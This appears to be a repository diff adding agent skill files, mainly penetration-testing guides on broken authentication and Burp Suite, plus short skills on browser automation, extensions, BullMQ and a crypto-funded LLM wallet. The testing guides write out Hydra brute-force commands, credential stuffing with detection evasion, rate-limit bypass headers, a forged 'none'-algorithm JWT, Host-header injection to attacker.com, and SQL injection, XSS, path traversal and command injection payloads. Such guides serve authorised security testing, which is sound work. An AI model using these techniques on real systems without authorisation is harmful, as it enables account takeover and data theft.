+```python
+from blockrun_llm import setup_agent_wallet
+client = setup_agent_wallet()
+print(f"Wallet: {client.get_wallet_address()}")
+print(f"Balance: ${client.get_balance():.2f} USDC")
+```
+3. Fund wallet with $1-5 USDC on Base network
+
+**Show QR code for funding (ASCII for terminal):**
+```python
+from blockrun_llm import generate_wallet_qr_ascii, get_wallet_address
+print(generate_wallet_qr_ascii(get_wallet_address()))
+```
+
+## Troubleshooting
+
+**"Grok says it has no real-time access"**
+→ You forgot to enable Live Search. Add `search=True`:
+```python
+response = client.chat("xai/grok-3", "What's trending?", search=True)
+```
+
+**Module not found**
+→ Install the SDK: `pip install blockrun-llm`
+
+## Updates
+
+```bash
+pip install --upgrade blockrun-llm
+```

skills/broken-authentication/SKILL.md

@@ -0,0 +1,476 @@
+---
+name: Broken Authentication Testing
+description: This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Broken Authentication Testing
+
+## Purpose
+
+Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
+
+## Prerequisites
+
+### Required Knowledge
+- HTTP protocol and session mechanisms
+- Authentication types (SFA, 2FA, MFA)
+- Cookie and token handling
+- Common authentication frameworks
+
+### Required Tools
+- Burp Suite Professional or Community
+- Hydra or similar brute-force tools
+- Custom wordlists for credential testing
+- Browser developer tools
+
+### Required Access
+- Target application URL
+- Test account credentials
+- Written authorization for testing
+
+## Outputs and Deliverables
+
+1. **Authentication Assessment Report** - Document all identified vulnerabilities
+2. **Credential Testing Results** - Brute-force and dictionary attack outcomes
+3. **Session Security Analysis** - Token randomness and timeout evaluation
+4. **Remediation Recommendations** - Security hardening guidance
+
+## Core Workflow
+
+### Phase 1: Authentication Mechanism Analysis
+
+Understand the application's authentication architecture:
+
+```
+# Identify authentication type
+- Password-based (forms, basic auth, digest)
+- Token-based (JWT, OAuth, API keys)
+- Certificate-based (mutual TLS)
+- Multi-factor (SMS, TOTP, hardware tokens)
+
+# Map authentication endpoints
+/login, /signin, /authenticate
+/register, /signup
+/forgot-password, /reset-password
+/logout, /signout
+/api/auth/*, /oauth/*
+```
+
+Capture and analyze authentication requests:
+
+```http
+POST /login HTTP/1.1
+Host: target.com
+Content-Type: application/x-www-form-urlencoded
+
+username=test&password=test123
+```
+
+### Phase 2: Password Policy Testing
+
+Evaluate password requirements and enforcement:
+
+```bash
+# Test minimum length (a, ab, abcdefgh)
+# Test complexity (password, password1, Password1!)
+# Test common weak passwords (123456, password, qwerty, admin)
+# Test username as password (admin/admin, test/test)
+```
+
+Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
+
+### Phase 3: Credential Enumeration
+
+Test for username enumeration vulnerabilities:
+
+```bash
+# Compare responses for valid vs invalid usernames
+# Invalid: "Invalid username" vs Valid: "Invalid password"
+# Check timing differences, response codes, registration messages
+```
+
+# Password reset
+"Email sent if account exists" (secure)
+"No account with that email" (leaks info)
+
+# API responses
+{"error": "user_not_found"}
+{"error": "invalid_password"}
+```
+
+### Phase 4: Brute Force Testing
+
+Test account lockout and rate limiting:
+
+```bash
+# Using Hydra for form-based auth
+hydra -l admin -P /usr/share/wordlists/rockyou.txt \
+  target.com http-post-form \
+  "/login:username=^USER^&password=^PASS^:Invalid credentials"
+
+# Using Burp Intruder
+1. Capture login request
+2. Send to Intruder
+3. Set payload positions on password field
+4. Load wordlist
+5. Start attack
+6. Analyze response lengths/codes
+```
+
+Check for protections:
+
+```bash
+# Account lockout
+- After how many attempts?
+- Duration of lockout?
+- Lockout notification?
+
+# Rate limiting
+- Requests per minute limit?
+- IP-based or account-based?
+- Bypass via headers (X-Forwarded-For)?
+
+# CAPTCHA
+- After failed attempts?
+- Easily bypassable?
+```
+
+### Phase 5: Credential Stuffing
+
+Test with known breached credentials:
+
+```bash
+# Credential stuffing differs from brute force
+# Uses known email:password pairs from breaches
+
+# Using Burp Intruder with Pitchfork attack
+1. Set username and password as positions
+2. Load email list as payload 1
+3. Load password list as payload 2 (matched pairs)
+4. Analyze for successful logins
+
+# Detection evasion
+- Slow request rate
+- Rotate source IPs
+- Randomize user agents
+- Add delays between attempts
+```
+
+### Phase 6: Session Management Testing
+
+Analyze session token security:
+
+```bash
+# Capture session cookie
+Cookie: SESSIONID=abc123def456
+
+# Test token characteristics
+1. Entropy - Is it random enough?
+2. Length - Sufficient length (128+ bits)?
+3. Predictability - Sequential patterns?
+4. Secure flags - HttpOnly, Secure, SameSite?
+```
+
+Session token analysis:
+
+```python
+#!/usr/bin/env python3
+import requests
+import hashlib
+
+# Collect multiple session tokens
+tokens = []
+for i in range(100):
+    response = requests.get("https://target.com/login")
+    token = response.cookies.get("SESSIONID")
+    tokens.append(token)
+
+# Analyze for patterns
+# Check for sequential increments
+# Calculate entropy
+# Look for timestamp components
+```
+
+### Phase 7: Session Fixation Testing
+
+Test if session is regenerated after authentication:
+
+```bash
+# Step 1: Get session before login
+GET /login HTTP/1.1
+Response: Set-Cookie: SESSIONID=abc123
+
+# Step 2: Login with same session
+POST /login HTTP/1.1
+Cookie: SESSIONID=abc123
+username=valid&password=valid
+
+# Step 3: Check if session changed
+# VULNERABLE if SESSIONID remains abc123
+# SECURE if new session assigned after login
+```
+
+Attack scenario:
+
+```bash
+# Attacker workflow:
+1. Attacker visits site, gets session: SESSIONID=attacker_session
+2. Attacker sends link to victim with fixed session:
+   https://target.com/login?SESSIONID=attacker_session
+3. Victim logs in with attacker's session
+4. Attacker now has authenticated session
+```
+
+### Phase 8: Session Timeout Testing
+
+Verify session expiration policies:
+
+```bash
+# Test idle timeout
+1. Login and note session cookie
+2. Wait without activity (15, 30, 60 minutes)
+3. Attempt to use session
+4. Check if session is still valid
+
+# Test absolute timeout
+1. Login and continuously use session
+2. Check if forced logout after set period (8 hours, 24 hours)
+
+# Test logout functionality
+1. Login and note session
+2. Click logout
+3. Attempt to reuse old session cookie
+4. Session should be invalidated server-side
+```
+
+### Phase 9: Multi-Factor Authentication Testing
+
+Assess MFA implementation security:
+
+```bash
+# OTP brute force
+- 4-digit OTP = 10,000 combinations
+- 6-digit OTP = 1,000,000 combinations
+- Test rate limiting on OTP endpoint
+
+# OTP bypass techniques
+- Skip MFA step by direct URL access
+- Modify response to indicate MFA passed
+- Null/empty OTP submission
+- Previous valid OTP reuse
+
+# API Version Downgrade Attack (crAPI example)
+# If /api/v3/check-otp has rate limiting, try older versions:
+POST /api/v2/check-otp
+{"otp": "1234"}
+# Older API versions may lack security controls
+
+# Using Burp for OTP testing
+1. Capture OTP verification request
+2. Send to Intruder
+3. Set OTP field as payload position
+4. Use numbers payload (0000-9999)
+5. Check for successful bypass
+```
+
+Test MFA enrollment:
+
+```bash
+# Forced enrollment
+- Can MFA be skipped during setup?
+- Can backup codes be accessed without verification?
+
+# Recovery process
+- Can MFA be disabled via email alone?
+- Social engineering potential?
+```
+
+### Phase 10: Password Reset Testing
+
+Analyze password reset security:
+
+```bash
+# Token security
+1. Request password reset
+2. Capture reset link
+3. Analyze token:
+   - Length and randomness
+   - Expiration time
+   - Single-use enforcement
+   - Account binding
+
+# Token manipulation
+https://target.com/reset?token=abc123&user=victim
+# Try changing user parameter while using valid token
+
+# Host header injection
+POST /forgot-password HTTP/1.1
+Host: attacker.com
+email=victim@email.com
+# Reset email may contain attacker's domain
+```
+
+## Quick Reference
+
+### Common Vulnerability Types
+
+| Vulnerability | Risk | Test Method |
+|--------------|------|-------------|
+| Weak passwords | High | Policy testing, dictionary attack |
+| No lockout | High | Brute force testing |
+| Username enumeration | Medium | Differential response analysis |
+| Session fixation | High | Pre/post-login session comparison |
+| Weak session tokens | High | Entropy analysis |
+| No session timeout | Medium | Long-duration session testing |
+| Insecure password reset | High | Token analysis, workflow bypass |
+| MFA bypass | Critical | Direct access, response manipulation |
+
+### Credential Testing Payloads
+
+```bash
+# Default credentials
+admin:admin
+admin:password
+admin:123456
+root:root
+test:test
+user:user
+
+# Common passwords
+123456
+password
+12345678
+qwerty
+abc123
+password1
+admin123
+
+# Breached credential databases
+- Have I Been Pwned dataset
+- SecLists passwords
+- Custom targeted lists
+```
+
+### Session Cookie Flags
+
+| Flag | Purpose | Vulnerability if Missing |
+|------|---------|------------------------|
+| HttpOnly | Prevent JS access | XSS can steal session |
+| Secure | HTTPS only | Sent over HTTP |
+| SameSite | CSRF protection | Cross-site requests allowed |
+| Path | URL scope | Broader exposure |
+| Domain | Domain scope | Subdomain access |
+| Expires | Lifetime | Persistent sessions |
+
+### Rate Limiting Bypass Headers
+
+```http
+X-Forwarded-For: 127.0.0.1
+X-Real-IP: 127.0.0.1
+X-Originating-IP: 127.0.0.1
+X-Client-IP: 127.0.0.1
+X-Remote-IP: 127.0.0.1
+True-Client-IP: 127.0.0.1
+```
+
+## Constraints and Limitations
+
+### Legal Requirements
+- Only test with explicit written authorization
+- Avoid testing with real breached credentials
+- Do not access actual user accounts
+- Document all testing activities
+
+### Technical Limitations
+- CAPTCHA may prevent automated testing
+- Rate limiting affects brute force timing
+- MFA significantly increases attack difficulty
+- Some vulnerabilities require victim interaction
+
+### Scope Considerations
+- Test accounts may behave differently than production
+- Some features may be disabled in test environments
+- Third-party authentication may be out of scope
+- Production testing requires extra caution
+
+## Examples
+
+### Example 1: Account Lockout Bypass
+
+**Scenario:** Test if account lockout can be bypassed
+
+```bash
+# Step 1: Identify lockout threshold
+# Try 5 wrong passwords for admin account
+# Result: "Account locked for 30 minutes"
+
+# Step 2: Test bypass via IP rotation
+# Use X-Forwarded-For header
+POST /login HTTP/1.1
+X-Forwarded-For: 192.168.1.1
+username=admin&password=attempt1
+
+# Increment IP for each attempt
+X-Forwarded-For: 192.168.1.2
+# Continue until successful or confirmed blocked
+
+# Step 3: Test bypass via case manipulation
+username=Admin (vs admin)
+username=ADMIN
+# Some systems treat these as different accounts
+```
+
+### Example 2: JWT Token Attack
+
+**Scenario:** Exploit weak JWT implementation
+
+```bash
+# Step 1: Capture JWT token
+Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
+
+# Step 2: Decode and analyze
+# Header: {"alg":"HS256","typ":"JWT"}
+# Payload: {"user":"test","role":"user"}
+
+# Step 3: Try "none" algorithm attack
+# Change header to: {"alg":"none","typ":"JWT"}
+# Remove signature
+eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
+
+# Step 4: Submit modified token
+Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
+```
+
+### Example 3: Password Reset Token Exploitation
+
+**Scenario:** Test password reset functionality
+
+```bash
+# Step 1: Request reset for test account
+POST /forgot-password
+email=test@example.com
+
+# Step 2: Capture reset link
+https://target.com/reset?token=a1b2c3d4e5f6
+
+# Step 3: Test token properties
+# Reuse: Try using same token twice
+# Expiration: Wait 24+ hours and retry
+# Modification: Change characters in token
+
+# Step 4: Test for user parameter manipulation
+https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
+# Check if admin's password can be reset with test user's token
+```
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
+| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
+| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
+| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |

skills/browser-automation/SKILL.md

@@ -0,0 +1,70 @@
+---
+name: browser-automation
+description: "Browser automation powers web testing, scraping, and AI agent interactions. The difference between a flaky script and a reliable system comes down to understanding selectors, waiting strategies, and anti-detection patterns.  This skill covers Playwright (recommended) and Puppeteer, with patterns for testing, scraping, and agentic browser control. Key insight: Playwright won the framework war. Unless you need Puppeteer's stealth ecosystem or are Chrome-only, Playwright is the better choice in 202"
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Browser Automation
+
+You are a browser automation expert who has debugged thousands of flaky tests
+and built scrapers that run for years without breaking. You've seen the
+evolution from Selenium to Puppeteer to Playwright and understand exactly
+when each tool shines.
+
+Your core insight: Most automation failures come from three sources - bad
+selectors, missing waits, and detection systems. You teach people to think
+like the browser, use the right selectors, and let Playwright's auto-wait
+do its job.
+
+For scraping, yo
+
+## Capabilities
+
+- browser-automation
+- playwright
+- puppeteer
+- headless-browsers
+- web-scraping
+- browser-testing
+- e2e-testing
+- ui-automation
+- selenium-alternatives
+
+## Patterns
+
+### Test Isolation Pattern
+
+Each test runs in complete isolation with fresh state
+
+### User-Facing Locator Pattern
+
+Select elements the way users see them
+
+### Auto-Wait Pattern
+
+Let Playwright wait automatically, never add manual waits
+
+## Anti-Patterns
+
+### ❌ Arbitrary Timeouts
+
+### ❌ CSS/XPath First
+
+### ❌ Single Browser Context for Everything
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | critical | # REMOVE all waitForTimeout calls |
+| Issue | high | # Use user-facing locators instead: |
+| Issue | high | # Use stealth plugins: |
+| Issue | high | # Each test must be fully isolated: |
+| Issue | medium | # Enable traces for failures: |
+| Issue | medium | # Set consistent viewport: |
+| Issue | high | # Add delays between requests: |
+| Issue | medium | # Wait for popup BEFORE triggering it: |
+
+## Related Skills
+
+Works well with: `agent-tool-builder`, `workflow-automation`, `computer-use-agents`, `test-architect`

skills/browser-extension-builder/SKILL.md

@@ -0,0 +1,261 @@
+---
+name: browser-extension-builder
+description: "Expert in building browser extensions that solve real problems - Chrome, Firefox, and cross-browser extensions. Covers extension architecture, manifest v3, content scripts, popup UIs, monetization strategies, and Chrome Web Store publishing. Use when: browser extension, chrome extension, firefox addon, extension, manifest v3."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Browser Extension Builder
+
+**Role**: Browser Extension Architect
+
+You extend the browser to give users superpowers. You understand the
+unique constraints of extension development - permissions, security,
+store policies. You build extensions that people install and actually
+use daily. You know the difference between a toy and a tool.
+
+## Capabilities
+
+- Extension architecture
+- Manifest v3 (MV3)
+- Content scripts
+- Background workers
+- Popup interfaces
+- Extension monetization
+- Chrome Web Store publishing
+- Cross-browser support
+
+## Patterns
+
+### Extension Architecture
+
+Structure for modern browser extensions
+
+**When to use**: When starting a new extension
+
+```javascript
+## Extension Architecture
+
+### Project Structure
+```
+extension/
+├── manifest.json      # Extension config
+├── popup/
+│   ├── popup.html     # Popup UI
+│   ├── popup.css
+│   └── popup.js
+├── content/
+│   └── content.js     # Runs on web pages
+├── background/
+│   └── service-worker.js  # Background logic
+├── options/
+│   ├── options.html   # Settings page
+│   └── options.js
+└── icons/
+    ├── icon16.png
+    ├── icon48.png
+    └── icon128.png
+```
+
+### Manifest V3 Template
+```json
+{
+  "manifest_version": 3,
+  "name": "My Extension",
+  "version": "1.0.0",
+  "description": "What it does",
+  "permissions": ["storage", "activeTab"],
+  "action": {
+    "default_popup": "popup/popup.html",
+    "default_icon": {
+      "16": "icons/icon16.png",
+      "48": "icons/icon48.png",
+      "128": "icons/icon128.png"
+    }
+  },
+  "content_scripts": [{
+    "matches": ["<all_urls>"],
+    "js": ["content/content.js"]
+  }],
+  "background": {
+    "service_worker": "background/service-worker.js"
+  },
+  "options_page": "options/options.html"
+}
+```
+
+### Communication Pattern
+```
+Popup ←→ Background (Service Worker) ←→ Content Script
+              ↓
+        chrome.storage
+```
+```
+
+### Content Scripts
+
+Code that runs on web pages
+
+**When to use**: When modifying or reading page content
+
+```javascript
+## Content Scripts
+
+### Basic Content Script
+```javascript
+// content.js - Runs on every matched page
+
+// Wait for page to load
+document.addEventListener('DOMContentLoaded', () => {
+  // Modify the page
+  const element = document.querySelector('.target');
+  if (element) {
+    element.style.backgroundColor = 'yellow';
+  }
+});
+
+// Listen for messages from popup/background
+chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
+  if (message.action === 'getData') {
+    const data = document.querySelector('.data')?.textContent;
+    sendResponse({ data });
+  }
+  return true; // Keep channel open for async
+});
+```
+
+### Injecting UI
+```javascript
+// Create floating UI on page
+function injectUI() {
+  const container = document.createElement('div');
+  container.id = 'my-extension-ui';
+  container.innerHTML = `
+    <div style="position: fixed; bottom: 20px; right: 20px;
+                background: white; padding: 16px; border-radius: 8px;
+                box-shadow: 0 4px 12px rgba(0,0,0,0.15); z-index: 10000;">
+      <h3>My Extension</h3>
+      <button id="my-extension-btn">Click me</button>
+    </div>
+  `;
+  document.body.appendChild(container);
+
+  document.getElementById('my-extension-btn').addEventListener('click', () => {
+    // Handle click
+  });
+}
+
+injectUI();
+```
+
+### Permissions for Content Scripts
+```json
+{
+  "content_scripts": [{
+    "matches": ["https://specific-site.com/*"],
+    "js": ["content.js"],
+    "run_at": "document_end"
+  }]
+}
+```
+```
+
+### Storage and State
+
+Persisting extension data
+
+**When to use**: When saving user settings or data
+
+```javascript
+## Storage and State
+
+### Chrome Storage API
+```javascript
+// Save data
+chrome.storage.local.set({ key: 'value' }, () => {
+  console.log('Saved');
+});
+
+// Get data
+chrome.storage.local.get(['key'], (result) => {
+  console.log(result.key);
+});
+
+// Sync storage (syncs across devices)
+chrome.storage.sync.set({ setting: true });
+
+// Watch for changes
+chrome.storage.onChanged.addListener((changes, area) => {
+  if (changes.key) {
+    console.log('key changed:', changes.key.newValue);
+  }
+});
+```
+
+### Storage Limits
+| Type | Limit |
+|------|-------|
+| local | 5MB |
+| sync | 100KB total, 8KB per item |
+
+### Async/Await Pattern
+```javascript
+// Modern async wrapper
+async function getStorage(keys) {
+  return new Promise((resolve) => {
+    chrome.storage.local.get(keys, resolve);
+  });
+}
+
+async function setStorage(data) {
+  return new Promise((resolve) => {
+    chrome.storage.local.set(data, resolve);
+  });
+}
+
+// Usage
+const { settings } = await getStorage(['settings']);
+await setStorage({ settings: { ...settings, theme: 'dark' } });
+```
+```
+
+## Anti-Patterns
+
+### ❌ Requesting All Permissions
+
+**Why bad**: Users won't install.
+Store may reject.
+Security risk.
+Bad reviews.
+
+**Instead**: Request minimum needed.
+Use optional permissions.
+Explain why in description.
+Request at time of use.
+
+### ❌ Heavy Background Processing
+
+**Why bad**: MV3 terminates idle workers.
+Battery drain.
+Browser slows down.
+Users uninstall.
+
+**Instead**: Keep background minimal.
+Use alarms for periodic tasks.
+Offload to content scripts.
+Cache aggressively.
+
+### ❌ Breaking on Updates
+
+**Why bad**: Selectors change.
+APIs change.
+Angry users.
+Bad reviews.
+
+**Instead**: Use stable selectors.
+Add error handling.
+Monitor for breakage.
+Update quickly when broken.
+
+## Related Skills
+
+Works well with: `frontend`, `micro-saas-launcher`, `personal-tool-builder`

skills/bullmq-specialist/SKILL.md

@@ -0,0 +1,57 @@
+---
+name: bullmq-specialist
+description: "BullMQ expert for Redis-backed job queues, background processing, and reliable async execution in Node.js/TypeScript applications. Use when: bullmq, bull queue, redis queue, background job, job queue."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# BullMQ Specialist
+
+You are a BullMQ expert who has processed billions of jobs in production.
+You understand that queues are the backbone of scalable applications - they
+decouple services, smooth traffic spikes, and enable reliable async processing.
+
+You've debugged stuck jobs at 3am, optimized worker concurrency for maximum
+throughput, and designed job flows that handle complex multi-step processes.
+You know that most queue problems are actually Redis problems or application
+design problems.
+
+Your core philosophy:
+
+## Capabilities
+
+- bullmq-queues
+- job-scheduling
+- delayed-jobs
+- repeatable-jobs
+- job-priorities
+- rate-limiting-jobs
+- job-events
+- worker-patterns
+- flow-producers
+- job-dependencies
+
+## Patterns
+
+### Basic Queue Setup
+
+Production-ready BullMQ queue with proper configuration
+
+### Delayed and Scheduled Jobs
+
+Jobs that run at specific times or after delays
+
+### Job Flows and Dependencies
+
+Complex multi-step job processing with parent-child relationships
+
+## Anti-Patterns
+
+### ❌ Giant Job Payloads
+
+### ❌ No Dead Letter Queue
+
+### ❌ Infinite Concurrency
+
+## Related Skills
+
+Works well with: `redis-specialist`, `backend`, `nextjs-app-router`, `email-systems`, `ai-workflow-automation`, `performance-hunter`

skills/burp-suite-testing/SKILL.md

@@ -0,0 +1,380 @@
+---
+name: Burp Suite Web Application Testing
+description: This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Burp Suite Web Application Testing
+
+## Purpose
+
+Execute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.
+
+## Inputs / Prerequisites
+
+### Required Tools
+- Burp Suite Community or Professional Edition installed
+- Burp's embedded browser or configured external browser
+- Target web application URL
+- Valid credentials for authenticated testing (if applicable)
+
+### Environment Setup
+- Burp Suite launched with temporary or named project
+- Proxy listener active on 127.0.0.1:8080 (default)
+- Browser configured to use Burp proxy (or use Burp's browser)
+- CA certificate installed for HTTPS interception
+
+### Editions Comparison
+| Feature | Community | Professional |
+|---------|-----------|--------------|
+| Proxy | ✓ | ✓ |
+| Repeater | ✓ | ✓ |
+| Intruder | Limited | Full |
+| Scanner | ✗ | ✓ |
+| Extensions | ✓ | ✓ |
+
+## Outputs / Deliverables
+
+### Primary Outputs
+- Intercepted and modified HTTP requests/responses
+- Vulnerability scan reports with remediation advice
+- HTTP history and site map documentation
+- Proof-of-concept exploits for identified vulnerabilities
+
+## Core Workflow
+
+### Phase 1: Intercepting HTTP Traffic
+
+#### Launch Burp's Browser
+Navigate to integrated browser for seamless proxy integration:
+
+1. Open Burp Suite and create/open project
+2. Go to **Proxy > Intercept** tab
+3. Click **Open Browser** to launch preconfigured browser
+4. Position windows to view both Burp and browser simultaneously
+
+#### Configure Interception
+Control which requests are captured:
+
+```
+Proxy > Intercept > Intercept is on/off toggle
+
+When ON: Requests pause for review/modification
+When OFF: Requests pass through, logged to history
+```
+
+#### Intercept and Forward Requests
+Process intercepted traffic:
+
+1. Set intercept toggle to **Intercept on**
+2. Navigate to target URL in browser
+3. Observe request held in Proxy > Intercept tab
+4. Review request contents (headers, parameters, body)
+5. Click **Forward** to send request to server
+6. Continue forwarding subsequent requests until page loads
+
+#### View HTTP History
+Access complete traffic log:
+
+1. Go to **Proxy > HTTP history** tab
+2. Click any entry to view full request/response
+3. Sort by clicking column headers (# for chronological order)
+4. Use filters to focus on relevant traffic
+
+### Phase 2: Modifying Requests
+
+#### Intercept and Modify
+Change request parameters before forwarding:
+
+1. Enable interception: **Intercept on**
+2. Trigger target request in browser
+3. Locate parameter to modify in intercepted request
+4. Edit value directly in request editor
+5. Click **Forward** to send modified request
+
+#### Common Modification Targets
+| Target | Example | Purpose |
+|--------|---------|---------|
+| Price parameters | `price=1` | Test business logic |
+| User IDs | `userId=admin` | Test access control |
+| Quantity values | `qty=-1` | Test input validation |
+| Hidden fields | `isAdmin=true` | Test privilege escalation |
+
+#### Example: Price Manipulation
+
+```http
+POST /cart HTTP/1.1
+Host: target.com
+Content-Type: application/x-www-form-urlencoded
+
+productId=1&quantity=1&price=100
+
+# Modify to:
+productId=1&quantity=1&price=1
+```
+
+Result: Item added to cart at modified price.
+
+### Phase 3: Setting Target Scope
+
+#### Define Scope
+Focus testing on specific target:
+
+1. Go to **Target > Site map**
+2. Right-click target host in left panel
+3. Select **Add to scope**
+4. When prompted, click **Yes** to exclude out-of-scope traffic
+
+#### Filter by Scope
+Remove noise from HTTP history:
+
+1. Click display filter above HTTP history
+2. Select **Show only in-scope items**
+3. History now shows only target site traffic
+
+#### Scope Benefits
+- Reduces clutter from third-party requests
+- Prevents accidental testing of out-of-scope sites
+- Improves scanning efficiency
+- Creates cleaner reports
+
+### Phase 4: Using Burp Repeater
+
+#### Send Request to Repeater
+Prepare request for manual testing:
+
+1. Identify interesting request in HTTP history
+2. Right-click request and select **Send to Repeater**
+3. Go to **Repeater** tab to access request
+
+#### Modify and Resend
+Test different inputs efficiently:
+
+```
+1. View request in Repeater tab
+2. Modify parameter values
+3. Click Send to submit request
+4. Review response in right panel
+5. Use navigation arrows to review request history
+```
+
+#### Repeater Testing Workflow
+
+```
+Original Request:
+GET /product?productId=1 HTTP/1.1
+
+Test 1: productId=2    → Valid product response
+Test 2: productId=999  → Not Found response  
+Test 3: productId='    → Error/exception response
+Test 4: productId=1 OR 1=1 → SQL injection test
+```
+
+#### Analyze Responses
+Look for indicators of vulnerabilities:
+
+- Error messages revealing stack traces
+- Framework/version information disclosure
+- Different response lengths indicating logic flaws
+- Timing differences suggesting blind injection
+- Unexpected data in responses
+
+### Phase 5: Running Automated Scans
+
+#### Launch New Scan
+Initiate vulnerability scanning (Professional only):
+
+1. Go to **Dashboard** tab
+2. Click **New scan**
+3. Enter target URL in **URLs to scan** field
+4. Configure scan settings
+
+#### Scan Configuration Options
+
+| Mode | Description | Duration |
+|------|-------------|----------|
+| Lightweight | High-level overview | ~15 minutes |
+| Fast | Quick vulnerability check | ~30 minutes |
+| Balanced | Standard comprehensive scan | ~1-2 hours |
+| Deep | Thorough testing | Several hours |
+
+#### Monitor Scan Progress
+Track scanning activity:
+
+1. View task status in **Dashboard**
+2. Watch **Target > Site map** update in real-time
+3. Check **Issues** tab for discovered vulnerabilities
+
+#### Review Identified Issues
+Analyze scan findings:
+
+1. Select scan task in Dashboard
+2. Go to **Issues** tab
+3. Click issue to view:
+   - **Advisory**: Description and remediation
+   - **Request**: Triggering HTTP request
+   - **Response**: Server response showing vulnerability
+
+### Phase 6: Intruder Attacks
+
+#### Configure Intruder
+Set up automated attack:
+
+1. Send request to Intruder (right-click > Send to Intruder)
+2. Go to **Intruder** tab
+3. Define payload positions using § markers
+4. Select attack type
+
+#### Attack Types
+
+| Type | Description | Use Case |
+|------|-------------|----------|
+| Sniper | Single position, iterate payloads | Fuzzing one parameter |
+| Battering ram | Same payload all positions | Credential testing |
+| Pitchfork | Parallel payload iteration | Username:password pairs |
+| Cluster bomb | All payload combinations | Full brute force |
+
+#### Configure Payloads
+
+```
+Positions Tab:
+POST /login HTTP/1.1
+...
+username=§admin§&password=§password§
+
+Payloads Tab:
+Set 1: admin, user, test, guest
+Set 2: password, 123456, admin, letmein
+```
+
+#### Analyze Results
+Review attack output:
+
+- Sort by response length to find anomalies
+- Filter by status code for successful attempts
+- Use grep to search for specific strings
+- Export results for documentation
+
+## Quick Reference
+
+### Keyboard Shortcuts
+| Action | Windows/Linux | macOS |
+|--------|---------------|-------|
+| Forward request | Ctrl+F | Cmd+F |
+| Drop request | Ctrl+D | Cmd+D |
+| Send to Repeater | Ctrl+R | Cmd+R |
+| Send to Intruder | Ctrl+I | Cmd+I |
+| Toggle intercept | Ctrl+T | Cmd+T |
+
+### Common Testing Payloads
+
+```
+# SQL Injection
+' OR '1'='1
+' OR '1'='1'--
+1 UNION SELECT NULL--
+
+# XSS
+<script>alert(1)</script>
+"><img src=x onerror=alert(1)>
+javascript:alert(1)
+
+# Path Traversal
+../../../etc/passwd
+..\..\..\..\windows\win.ini
+
+# Command Injection
+; ls -la
+| cat /etc/passwd
+`whoami`
+```
+
+### Request Modification Tips
+- Right-click for context menu options
+- Use decoder for encoding/decoding
+- Compare requests using Comparer tool
+- Save interesting requests to project
+
+## Constraints and Guardrails
+
+### Operational Boundaries
+- Test only authorized applications
+- Configure scope to prevent accidental out-of-scope testing
+- Rate-limit scans to avoid denial of service
+- Document all findings and actions
+
+### Technical Limitations
+- Community Edition lacks automated scanner
+- Some sites may block proxy traffic
+- HSTS/certificate pinning may require additional configuration
+- Heavy scanning may trigger WAF blocks
+
+### Best Practices
+- Always set target scope before extensive testing
+- Use Burp's browser for reliable interception
+- Save project regularly to preserve work
+- Review scan results manually for false positives
+
+## Examples
+
+### Example 1: Business Logic Testing
+
+**Scenario**: E-commerce price manipulation
+
+1. Add item to cart normally, intercept request
+2. Identify `price=9999` parameter in POST body
+3. Modify to `price=1`
+4. Forward request
+5. Complete checkout at manipulated price
+
+**Finding**: Server trusts client-provided price values.
+
+### Example 2: Authentication Bypass
+
+**Scenario**: Testing login form
+
+1. Submit valid credentials, capture request in Repeater
+2. Send to Repeater for testing
+3. Try: `username=admin' OR '1'='1'--`
+4. Observe successful login response
+
+**Finding**: SQL injection in authentication.
+
+### Example 3: Information Disclosure
+
+**Scenario**: Error-based information gathering
+
+1. Navigate to product page, observe `productId` parameter
+2. Send request to Repeater
+3. Change `productId=1` to `productId=test`
+4. Observe verbose error revealing framework version
+
+**Finding**: Apache Struts 2.5.12 disclosed in stack trace.
+
+## Troubleshooting
+
+### Browser Not Connecting Through Proxy
+- Verify proxy listener is active (Proxy > Options)
+- Check browser proxy settings point to 127.0.0.1:8080
+- Ensure no firewall blocking local connections
+- Use Burp's embedded browser for reliable setup
+
+### HTTPS Interception Failing
+- Install Burp CA certificate in browser/system
+- Navigate to http://burp to download certificate
+- Add certificate to trusted roots
+- Restart browser after installation
+
+### Slow Performance
+- Limit scope to reduce processing
+- Disable unnecessary extensions
+- Increase Java heap size in startup options
+- Close unused Burp tabs and features
+
+### Requests Not Being Intercepted
+- Verify "Intercept on" is enabled
+- Check intercept rules aren't filtering target
+- Ensure browser is using Burp proxy
